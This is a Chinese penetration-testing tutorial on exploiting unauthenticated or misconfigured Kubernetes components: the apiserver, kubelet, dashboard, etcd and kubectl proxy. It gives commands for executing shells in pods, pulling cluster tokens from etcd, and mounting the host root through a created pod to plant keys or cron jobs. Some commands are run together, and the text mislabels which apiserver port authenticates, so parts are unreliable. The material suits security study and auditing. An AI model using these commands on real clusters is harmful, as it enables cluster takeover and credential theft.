渗透测试中的k8s各个组件未鉴权情况下如何利用都是需要去熟知的,这篇附上常见组件未授权或配置不当情况下如何攻击利用。

组件之间的关系

对组建的介绍文章很多了,这里不介绍组件的基础,只记录如何利用。

Apiserver

apiserver有两个端口一个认证(Insecure-port ,8080端口,低版本才对外开放,1.20版本后默认不开)、一个不认证(secure-port,6443端口)。

能利用的情况是开放端口并且配置错误,这里的配置错误是将system:anonymous用户绑定到了cluster-admin用户组,那么匿名用户可以支配集群:

kubectl create clusterrolebinding cluster-system-anonymous --clusterrole=cluster-admin --user=system:anonymous

这种配置下可以拿到所有token后与api server交互,支配集群:

利用

使用kubectlapiserver交互,或者就单纯curl来发包,效果都是一样的。

容器内下载kubectl:

curl -LO "https://dl.Kubernetes.io/release/$(curl -L -s https://dl.Kubernetes.io/release/stable.txt)/bin/linux/amd64/kubectl"

执行pod内命令:

kubectl -s 192.168.1.22:8080 get node   #查看nodekubectl -s 192.168.1.22:8080 get pods  #查看podkubectl -s 192.168.1.22:8080 get pods myapp-pod -o jsonpath={.spec.containers[*].name} #查看容器kubectl -s 192.168.1.22:8080 --namespace=default my-pod --container main-app -- /bin/bash  #对pod的容器shell

替换成curl的话也是一样的,把kubectl的包转成curl即可:

https://192.168.1.22:6443/api/v1/namespaces/default/pods/attackerhttps://192.168.1.22:6443/api/v1/namespaces/default/pods/attacker/exec?command=ls&container=ubuntu&container=ubuntu&stderr=true&stdout=true

这时候已经可以执行各种容器的shell和拿到service-account的token之类的了,如果要控apiserver,最简单的就是创建pod的容器挂载宿主机的根目录后续写私钥计划任务之类的,例子:

转成curl也是一样的:

curl -k $APISERVER/api/v1/namespaces/default/pods -X POST --header 'content-type: application/yaml' --data-binary @nginx-pod.yaml

你可以提前把需要创建的pod转成json,再来用curl发包:

kubelet

kublet是管理本机Pod的的工具,而kubectl是用于管理集群的。

每一个 Node 节点都有一个 kubelet 服务,kubelet 监听了 10250,10248,10255 等端口。

  • 10250会鉴权,默认是安全的。
  • 10255不鉴权,但是是只读端口无法执行命令,可读env、进程信息等。

kubelet对应的API端口默认在10250,运行在集群中每台Node上,kubelet 的配置文件在node上的/var/lib/kubelet/config.yaml

配置错误的条件是: 

  • kubelet api能否被匿名访问
  • kubelet api访问是否需要经过Api server进行授权

默认kubelet配置文件如下:

如果将配置文件中,authentication-anonymous-enabled改为true并且authorization-mode为AlwaysAllow

那么就可以实现kubelet未授权访问。

利用

在pod中执行命令

访问10250发现未授权情况:

通过和api交互,执行pod中的容器命令:

curl -XPOST -k https://node_ip:10250/run/// -d "cmd=command"

而通过/pod API 中可以获取到每个 POD 的配置,通过筛选host*、securityContext、volumes等特殊字段内容也可以快速得出哪些是特权容器,方便逃逸。

dashboard

利用条件是管理修改配置,让dashboard可以跳过登录并且配置了高权限Service Account(cluster-admin),

两个条件达成才可以利用。

安装dashborad:

kubectl apply -f https://raw.githubusercontent.com/kubernetes/dashboard/v2.5.0/aio/deploy/recommended.yamlkubectl proxy   #默认端口 8001

错误配置1跳过登录:

加了--enable-skip-login参数即可跳过登录:



错误配置2高权限Service Account

clusterrolebinding对象把sa绑定cluster-admin角色:

apiVersion: rbac.authorization.k8s.io/v1kind: ClusterRoleBindingmetadata:  name: admin-userroleRef:  apiGroup: rbac.authorization.k8s.io  kind: ClusterRole  name: cluster-adminsubjects:- kind: ServiceAccount  name: admin-user  namespace: kubernetes-dashboard

两个满足以后,进入dashboard就可以随便部署pod,然后挂载宿主机根目录 ,和前面创建恶意pod一样的流程了:

etcd

etcd 被广泛用于存储分布式系统或机器集群数据,其默认监听了 2379 等端口。

利用条件是错误配置了未授权,etcd的配置文件是

/etc/kubernetes/manifests/etcd.yaml,如果配置中默认去掉了证书校验选项并且能够访问到2379就会有未授权接管的情况:

利用

etcd有v2和v3两个版本,k8s用的是v3版本,所以需要在访问etcd的时候需要用命令ETCDCTL_API=3来指定etcd版本。

利用etcd未授权,需要使用一个工具叫做etcdctl,它是用来管理etcd数据库的,我们可以在github上下载它

https://github.com/etcd-io/etcd/releases/

在启动etcd时,如果没有指定 --client-cert-auth 参数打开证书校验,并且没有通过iptables / 防火墙等实施访问控制,etcd的接口和数据就会直接暴露给外部黑客"

默认不带证书是无法认证的:

export ETCDCTL_API=3export ETCDCTL_CERT=/etc/kubernetes/pki/etcd/peer.crtexport ETCDCTL_CACERT=/etc/kubernetes/pki/etcd/ca.crtexport ETCDCTL_KEY=/etc/kubernetes/pki/etcd/peer.key

把证书相关文件加入环境变量后才能访问:

如果是未授权情况,可以不带证书的校验去访问,获取token:

/etcdctl --endpoints=https://ip:2379/ get --keys-only --prefix=true "/" | grep /secrets/kube-system/clusterrole/etcdctl --endpoints=https://ip:2379/ get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-fltzp

拿到token以后就和前面一样了:

kubectl --insecure-skip-tls-verify=true --server="https://ip:8443" --token="eyJhbG......" get secrets --all-namespaces

自然也可以命令执行:

kubectl proxy

k8s如果在pod上开端口并且使用ClusterIP Service 绑定创建一个service后,需要开放nodeport或者cni这种插件来开放,但是如果为了方便使用kubectl proxy 把localhost地址代理到kubernetes apiserver:

kubectl proxy --address=xxx.xxx.xxx.xxx --port=8080 &

本质上也是kubectl proxy为访问kubernetes apiserver的REST api充当反向代理角色,这样的话通过kubectl proxy转发apiserver,但是这样默认是不鉴权,所以也能导致被接管。